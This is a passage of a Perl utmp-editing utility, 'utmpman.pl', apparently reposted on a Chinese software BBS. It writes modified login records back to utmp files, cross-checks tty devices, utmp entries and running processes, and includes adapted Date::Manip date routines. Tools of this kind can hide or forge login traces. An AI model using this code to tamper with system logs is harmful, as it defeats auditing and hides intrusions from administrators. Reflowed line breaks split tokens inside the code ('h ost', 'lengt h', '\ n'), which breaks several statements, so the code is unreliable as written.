 print ("write :: Can't open $file for output.\n"); 
 return undef; 
 } 
 binmode(OUTFILE); 
 
 foreach (sort( { $a <=> $b } keys(%entries))) { 
 printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4", 
 @{$entries{$_}}{qw(type pid line id time user host addr)})); 
 $count++; 
 } 
 print ("$active_file: " . scalar(keys(%entries)) . " entries written.\ n"); 
 close(OUTFILE); 
 } 
 
 # CHECK 
 sub check_func { 
 if (push(@_)) { 
 print "check :: Invalid options specified. Please see \"help\"\n"; 
 return undef; 
 } 
 if ($active_file !~ m!/*utmp[^/]*$!) { 
 print "check :: Command can only be run on utmp files.\n"; 
 return undef; 
 } 
 
 # Build struct of ports containing port name, device num and owner. 
 # Note: Test run in grepstr may *not* be portable for all Unix 
 # types. Be forewarned! This was designed for Linux. 
 # Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyport s])$/ 
 # should return the same as what you expect in "struct utmp->ut_id". 
  my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$"; 
 my(%ports) = {}; 
 my($user, $rdev) = (); 
 opendir(DEVDIR, "/dev"); 
 my(@devfiles) = readdir(DEVDIR); 
 @devfiles = grep(/$grepstr/, @devfiles); 
 close(DEVDIR); 
 foreach (@devfiles) { 
 /^$ttybase([$ttyrange][$ttyports])$/; 
 if (!defined($1)) { 
 print "check :: Warning! Could not extract port ID from $_.\n"; 
 } else { 
 ($user, $rdev) = (stat("/dev/$_"))[4, 6]; 
 $user = getpwuid($user); 
 $ports{$1} = newport($_, $rdev, $user); 
 } 
 } 
 
 # Check ownership of /dev ports. 
 my(@logdev)=(); 
 foreach (sort(keys(%ports))) { 
 push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root"); 
 } 
 @logdev = sort(@logdev); 
 
 # Check utmp (against ports detected as logged in); 
 my(@logutmp)=(); 
 foreach (sort( { $a <=> $b } keys(%entries))) { 
 if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"h ost"}) && 
 defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"}))  { 
 push(@logutmp, %{$entries{$_}}->{"id"}) 
 if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) && 
 ((%{$entries{$_}}->{"user"} ne pack("a8", "")) || 
 ((%{$entries{$_}}->{"host"} ne pack("a16", "")) && 
 (%{$entries{$_}}->{"id"} ne pack("a4", "")) && 
 (%{$entries{$_}}->{"line"} ne pack("a12", "")) && 
 (%{$entries{$_}}->{"pid"} > 0)))); 
 } 
 } 
 @logutmp = sort(@logutmp); 
 # Check PIDs (find processes with active port ids) 
 opendir(PIDDIR, "/proc"); 
 my(%processes) = {}; 
 my(@portprocesses) = (); 
 foreach (grep(/\d+/, readdir(PIDDIR))) { 
 local($procdata, $cmdline); 
 open(PROCFILE, "</proc/$_/stat"); 
 $procdata = <PROCFILE>; 
 close(PROCFILE); 
 if (-e "/proc/$_/stat") { 
 local($cmdline, $devnum, $portid); 
 ($cmd, $devnum) = (split(/ /, $procdata))[1, 6]; 
 # Remove surrouding () from command name. 
 $cmd =~ s/[\(\)]//g; 
 $portid = dev2id(\%ports, $devnum); 
 if (defined($portid)) { 
 push(@portprocesses, $portid) 
 if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_)); 
 $processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ !=  $_)); 
 } 
 } 
 } 
 close(PIDDIR); 
 # A port is *not* logged in if there is no dev entry for port, no utmp  entry 
 # and no active processes. 
 my(@validshellports) = (); 
 foreach (sort( { $a <=> $b} keys(%processes))) { 
 push(@validshellports, %{$processes{$_}}->{"port"}) 
 if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&& 
 !defined(listpos(\@validshellports, %{$processes{$_}}->{"port"}))); 
 } 
 # Remove ports with valid shells from list of ports with active proces ses. 
 my(@noshellports) = 
 sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));  
 @validshellports = sort(@validshellports); 
 print "Ports with active /dev files: @logdev\n" 
 if (defined(@logdev)); 
 print "Ports with utmp entries: @logutmp\n" 
 if (defined(@logutmp)); 
 print "Ports with valid shells: @validshellports\n" 
 if (defined(@validshellports)); 
 print "Ports with active processes and *no* shells: @noshellports\n" 
  if (defined(@noshellports)); 
 } 
 
 
 
 # GENERAL 
 sub readfile { 
 local($file); 
 $file = shift; 
 my($index)=1; 
 my($buffer)=""; 
 # Insure we have a clean hash table before we start reading in the fil e. 
 foreach (keys(%entries)) { 
 undef(%{$entries{$_}}); 
 delete(${entries{$_}}); 
 } 
 
 open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n") ; 
 binmode(UTMPFILE); 
 # 1/17/96, struct utmp is 56 bytes (54 according to addition! :P). 
 while (read(UTMPFILE, $buffer, 56)) { 
 $entries{$index++} = newutmp($buffer); 
 } 
 $active_file = $file; 
 print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n "); 
 close(UTMPFILE); 
 } 
 
 sub newutmp { 
 my($newbuff) = shift; 
 my($longaddr) = 0; 
 
 $newnode = bless { 
 "type" => undef, "pid" => undef, "line" => undef, "id" => undef, 
 "time" => undef, "user" => undef, "host" => undef, "addr" => undef 
 }, 'UTMPNODE'; 
 
 @{$newnode}{qw(type pid line id time user host addr)}= 
 unpack("i L a12 a4 L a8 a16 a4", $newbuff); 
 
 return $newnode; 
 } 
 
 sub newport { 
 
 $newnode = bless { 
 "port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef, 
 }, 'PORTNODE'; 
 
 @{$newnode}{qw(port rdev owner)} = @_; 
 
 return $newnode; 
 } 
 
 sub newproc { 
 
 $newnode = bless { 
 "cmd" => undef, "port" => undef, 
 }, 'PROCNODE'; 
 
 @{$newnode}{qw(cmd port)} = @_; 
 
 return $newnode; 
 } 
 
 # Renumber hashes to default order. 
 sub resync { 
 my(%newhash) = (); 
 my($count)=0; 
 # Write ordered list in to temporary hash, deleting as we go. 
 foreach (sort( {$a <=> $b} keys(%entries))) { 
 $newhash{++$count} = $entries{$_}; 
 delete($entries{$_}); 
 } 
 # Copy elements back in to original hash table. 
 foreach (sort( {$a <=> $b} keys(%newhash))) { 
 $entries{$_} = $newhash{$_}; 
 } 
 } 
 
 sub longtodot4 { 
 my($addr)=shift; 
 return join(".", map( ord($_), split(//, $addr))); 
 } 
 sub dev2id { 
 my($portlist, $rdev) = @_; 
 foreach (sort(keys(%{$portlist}))) { 
 return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev); 
 } 
 return undef; 
 } 
 
 sub listpos { 
 my($arrayref, $search) = @_; 
 my($count) = 0; 
 $^W = 0; 
 foreach (@{$arrayref}) { 
 return $count if ($search eq ${$arrayref}[$count]); 
 $count++; 
 } 
 $^W = 1; 
 return undef; 
 } 
 
 ### DATE ROUTINES 
 # The following code taken & modified from the Date::Manip package. 
 # Here is his copyright: 
 # 
 ## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved. 
 ## This program is free software; you can redistribute it and/or modif y it 
 ## under the same terms as Perl itself. 
 
 sub SecsSince1970 { 
 # Parse as mm/dd/[cc]yy[:hh:mm[:ss]] 
 my($datetime) = shift; 
 my($m,$d,$y,$h,$mn,$s) = (); 
 # If date is not defined, then return local current date and time. 
 return time() if (!defined($datetime)); 
 $datetime =~ 
 s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))? )?!!; 
 ($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6); 
 $m--; 
 # Finalize time components and check them. 
 $y = (($y < 70) ? "20":"19" . $y) if (length($y)==2); 
 # This checks for any *non-matched* portion of $datetime. If there is  such 
 # an animal, then there is illegal data specified. Also screens for un defined 
 # components which HAVE to be in ANY valid date/time (ie, month, day,  year). 
 return undef if (!defined($m) || !defined($d) || !defined($y) || lengt h($datetime)); 
 # Set time components with unspecified values. 
 $s = 0 if (!defined($s)); 
 $mn = 0 if (!defined($mn)); 
 $h = 0 if (!defined($h)); 
 # Check for ranges. 
 return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59)); 
  
 # Begin conversion to seconds since 1/1/70. 
 my($sec_now,$sec_70)=(); 
 $sec_now=DaysSince999($m,$d,$y); 
 return undef if (!defined($sec_now)); 
 $sec_now--; 
 $sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s; 
 $sec_70 =30610224000; 
 return ($sec_now-$sec_70); 
 } 
 
 sub DaysSince999 { 
 my($m,$d,$y)=@_; 
 my($Ny,$N4,$N100,$N400,$dayofyear,$days)=(); 
 my($cc,$yy)=(); 
 $y=~ /^(\d{2})(\d{2})$/; 
 ($cc,$yy)=($1,$2); 
 # Number of full years since Dec 31, 0999 
 $Ny=$y-1000; 
 # Number of full 4th years (incl. 1000) since Dec 31, 0999 
 $N4=int(($Ny-1)/4)+1; 
 $N4=0 if ($y==1000); 
 # Number of full 100th years (incl. 1000) 
 $N100=$cc-9; 
 $N100-- if ($yy==0); 
 # Number of full 400th years 
 $N400=int(($N100+1)/4); 
 # Check to insure that information returns a valid day of year. 
 $dayofyear=dayofyear($m,$d,$y); 
 return undef if (!defined($dayofyear)); 
 # Compute day of year. 
 $days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear; 
 return $days; 
 } 
 
 sub dayofyear { 
 my($m,$d,$y)=@_; 
 my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31); 
 my($daynum,$i)=(); 
 $daysinmonth[1]=29 if (!($y % 4)); 
 # Return error if we are given an invalid date. 
 return undef if ($d > $daysinmonth[$m]); 
 $daynum=0; 
 for ($i=1; $i<$m; $i++) { 
 $daynum += $daysinmonth[$i]; 
 } 
 $daynum += $d; 
 
 return $daynum; 
 } 
 
 ## END DATE ROUTINES. 
 
 # End of script. 
 0; 
 --------------------- end of utmpman.pl 
  -- ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.96.243.142]
  | 
 
 
 |